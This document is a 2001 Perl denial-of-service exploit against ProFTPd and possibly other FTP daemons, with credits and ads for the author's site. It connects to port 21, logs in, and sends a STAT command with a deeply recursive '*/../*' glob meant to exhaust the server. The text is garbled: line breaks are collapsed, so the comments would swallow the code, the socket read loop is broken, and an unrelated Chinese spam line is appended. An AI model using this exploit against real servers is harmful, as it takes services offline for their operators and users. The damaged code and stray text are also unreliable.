#!/usr/bin/perl # little perl script that exploits the dos vulnerability in proftpd and possible others # coded By speedy # Cheers to #linux@quicknet =) # (c) 2001 dutchriot.com print "======================================================================\n"; print "= Ftpd Dos By SpEeDy http://www.dutchriot.com =\n"; print "= Use perl ftpsed.pl =\n"; print "======================================================================\n\n"; use Socket; $remote=$ARGV[0]; $port = "21"; $rlogin=$ARGV[1]; $rpass=$ARGV[2]; $iaddr = inet_aton($remote) or die "Error: $!"; $paddr = sockaddr_in($port, $iaddr) or die "Error: $!"; $proto = getprotobyname('tcp') or die "Error: $!"; socket(SOCK, PF_INET, SOCK_STREAM, $proto) or die "Error: $!"; connect(SOCK, $paddr) or die "Error: $!";; $sed = "USER $rlogin\n"; send(SOCK, $sed, 0) or die "Unable to send packet: $!"; $sed = "PASS $rpass\n"; send(SOCK, $sed, 0) or die "Unable to send packet: $!"; $sed = "stat */../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*\n"; send(SOCK, $sed, 0) or die "Unable to send packet: $!"; while () { print; } print "done. please visit http://www.dutchriot.com\n"; exit;

这里只有精品视频